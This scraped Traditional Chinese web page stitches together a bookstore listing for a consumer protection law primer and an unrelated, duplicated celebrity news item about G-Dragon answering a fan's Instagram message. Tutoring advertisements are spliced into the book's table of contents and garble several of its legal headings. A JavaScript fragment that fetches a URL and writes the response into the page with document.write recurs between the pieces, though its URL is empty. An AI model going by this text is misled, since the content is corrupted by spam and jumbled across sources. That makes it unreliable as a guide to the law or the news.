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消費者保護法入門(修訂二版)
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商品訊息描述:
- 出版日：1020901
- ISBN：9789570528589
- 語言：中文繁體
- 裝訂方式：平裝
內容簡介
《消費者保護法入門》一書，於2006年3月出版後，即受到各界人士熱烈的採用。此次則係再配合2012年行政院消費者保護法修正草案內容、2011年6月29日公布的金融消費者保護法、2012年1月1 日行政院消費者保護委員會裁併改制為行政院消費者保護處、以及政府組織再造結果、兩岸密切交流及新興消費問題等，所為的修訂二版。
本版作者力求在不變更原有架構的原則下，除配合政府組織再造及最新資料酌予更新修正外，修正內容主要係針對新的議題增列下列十個案例：
一、基本理念部分：針對金融消費者保護法規定問題，除將其基本規定於總論各個案例適當之處予以必要的補充說明及比較外，並增列「以投資理財為目的購買連動債所衍生的金融消費糾紛，雖不能適用消費者保護法，但可以適用金融消費者保護法來保障權益」案例。
二、產品責任部分：針對食品含塑化劑的產品責任問題，增列「消費者因食品含塑化劑所造成的損害不易證明，甚難依產品責任規定請求損害賠償」案例。
三、定型化契約部分：針對手機爭議，增列「電信業者違反誠信公平原則的『手機收費條款』，無效」、金對線上遊戲問題，增列「主管機關公告線上遊戲契約強制規範，建立線上遊戲處理機制」、針對定型化契約應記載及不得記載事項效力問題，增列「公告契約之應記載事項，較個別磋商條款更有利於消費者時，仍應以公告之內容為準」及「禮券上不得有違反主管機關公告不得記載的事項，否則其記載無效」四個案例。
四、特種買賣部分：針對網站標錯價的網路交易問題，配合經濟部公告「零售業等網路交易定型化契約應記載及不得記載事項」規定，增列「主管機關公告網路交易契約強制規範，建立網路交易新秩序」案例。
五、消費資訊部分：針對薦證廣告代言人的責任問題，增列「薦證廣告如有不實，其廣告代言人(名人或素人、部落客)應負連帶賠償責任」案例。另外，針對大陸仿冒品泛濫問題，除簡介大陸消費者權益保護法內容外，並增列「國人前往大陸旅遊買到仿冒品，亦得向大陸業者請求懲罰性賠償金」案例。
六、其他部分：針對金融消費者保護法所規定的評議問題，增列「對於金融消費爭議所為在一定金額下的評議決定，金融服務業必須接受」案例。
本書特色
為因應金融消費者保護法的訂頒、行政院消保會併入行政院(消保處)等政府組織的再造，加以食品含塑化劑、手機爭議、線上遊戲糾紛、禮券使用期限、網路標錯價、薦證廣告代言責任、兩岸交流消費等消費問題不斷，以及2013年行政院提出消費者保護法修正草案等需要，爰予增列十個案例，此為修訂二版的主因。最後，作者要強調的是：在日常生活的消費行為當中，作者期待並深信只要熟讀本書：「人人都可成為消費贏家」！
作者簡介
作者介紹
黃明陽
臺灣宜蘭人，1952年生。輔仁大學法律系，文化大學法律研究所碩士。現任行政院消費者保護委員會副祕書長、實踐大學消費者保護法兼任助理教授。著有《消費者保護法入門》（臺灣商務印書館出版）。
譯者介紹
目錄
修訂二版序：熟讀本書聰明消費，人人都可成為消費贏家！
推薦序(一)柴松林：這是一本寫給一般消費者使用的消費寶典！
推薦序(二)楊美鈴：作者是我國消保機制的最佳見證者！
初版序：人人學消保，權益就有保！
壹、基本理念
《重點提要》
第一章消費關係
一、消費關係，是一種特別的法律關係。
二、凡有消費關係，即有消費者保護法規定的適用。
三、消費者不花錢的使用產品行為，亦屬於消費行為。
四、凡有「營業」的行為，均為消費者保護法上的企業經營者。
五、未經合法立案的業者，亦為企業經營者。
六、政府機關，亦有可能為消費者保護法上的企業經營者。
七、偶一為之的販售行為，並非營業行為。
八、人人都是消費者。
九、非屬營業的必要範圍，而為日常生活上專業1對1英語家教推薦 台北的行為者，為消費行為。
十、業業均受消費者保護法雲林專業英文家教老師課程規範。
十一、買賣關係，不一定是消費關係。
第二章消費者保護法的適用原則
十二、發生消費問題，原則上應優先適用消費者保護法。
十三、消費者保護法原則上不適用於民國83年1月11日以前所發生的消費事件。
十四、以投資理財為目的購買連動債所衍生的金融消費糾紛，雖不能適用消費者保護法，但可以適用金融消費者保護法來保障權益。
貳、產品責任
《重點提要》
第一章產品責任的意義及範圍
一、產品如有問題，業者即應負起產品責任。
二、消費者保護法的無過失產品責任，不是結果責任。
三、凡是業者所提供的場所、服務、商品等，均屬於產品責任的範圍。
第二章製造者的產品責任
四、設計者對其設計的瑕疵產品，應負無過失的產品責任。
五、製造者對其製造的瑕疵產品（脫線產品），應負無過失的產品責任。
六、製造者對其製造但標示不全的瑕疵產品，應負無過失的產品責任。
七、製造者對屬於發展瑕疵的產品，不負無過失的產品責任。
八、因發展瑕疵所造成的損害，主管機關應有必要的配套措施，以謀補救。
第三章非製造者(經銷者及輸入者)的產品責任
九、經銷者對所販售的產品，應負推定過失的產品責任（中間責任）。
十、經銷者對經其改裝、分裝或變更服務的產品，應負製造者的產品責任。
十一、輸入者對其從國外輸入的產品，應負製造者的產品責任。
第四章產品責任的損害賠償及懲罰性賠償金
十二、消費者因業者故意所致的損害，得請求3倍以下的懲罰性賠償金。
十三、消費者因業者過失所致的損害，得請求1倍以下的懲罰性賠償金。
十四、消費者因業者無過失所致的損害，不得請求懲罰性賠償金。
十五、消費者須因產品瑕疵所造成的損害，才能依產品責任規定請求損害賠償。
十六、消費者因食品含塑化劑所造成的損害不易證明，甚難依產品責任規定請求損害賠償。
十七、消費者因產品不當使用所造成的損害，企業經營者不必負產品責任。
十八、產品因千面人下毒所造成的損害，業者原則上不負產品責任。
第五章與產品責任有關的其他規定
十九、產品如造成消費者受害，與該產品有關的所有產銷業者應負連帶責任。
二十、對於有消費安全之虞的瑕疵產品，業者應負回收責任。
廿一、企業經營者的產品責任，不得事先限制或免除。
廿二、業者應投保產品責任保險，以分散經營風險及確保消費者求償權。
參、定型化契約
《重點提要》...
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function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}
var theUrl = '';
document.write(httpGet(theUrl));
記者吳睿慈／綜合報導
南韓人氣藝人GD（G-Dragon）唱作兼具實力，外表帥氣又具備獨特時尚眼光，是許多粉絲的理想情人。近期就有粉絲私訊Instagram給他，透露自己做夢夢做GD，沒想到，不常回覆粉絲私訊的他竟然回覆對方訊息，引起大批歌迷稱羨表示「我今天也要傳看看訊息」、「等一下就傳」。
▲GD回覆粉絲私訊。（圖／翻攝自IG）
有位粉絲在中午左右傳了一封Instagram私訊訊息給GD「夢裡面，歐巴出現了。」她表示是個很甜蜜的夢，卻突然就醒了，附上哭哭的符號，哀訴「我還要繼續睡，（歐巴）再出現一次TT」。沒想到，GD真的回了該名粉絲訊息「要夢到我」。
訊息曝光後，不少粉絲前來朝聖，還有人稱羨表示「我今天也要傳，你也傳訊息試試」，各種歌迷標註好友一起傳訊給GD，更有網友下定決心喊話：「從今天起，我每天都要傳一封訊息給他！」
▲GD不常回覆粉絲私訊。（圖／翻攝自GD IG）
2017年01月14日 14:33
function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}
var theUrl = '';
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記者吳睿慈／綜合報導
南韓人氣藝人GD（G-Dragon）唱作兼具實力，外表帥氣又具備獨特時尚眼光，是許多粉絲的理想情人。近期就有粉絲私訊Instagram給他，透露自己做夢夢做GD，沒想到，不常回覆粉絲私訊的他竟然回覆對方訊息，引起大批歌迷稱羨表示「我今天也要傳看看訊息」、「等一下就傳」。
▲GD回覆粉絲私訊。（圖／翻攝自IG）
有位粉絲在中午左右傳了一封Instagram私訊訊息給GD「夢裡面，歐巴出現了。」她表示是個很甜蜜的夢，卻突然就醒了，附上哭哭的符號，哀訴「我還要繼續睡，（歐巴）再出現一次TT」。沒想到，GD真的回了該名粉絲訊息「要夢到我」。
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var theUrl = '';
document.write(httpGet(theUrl));
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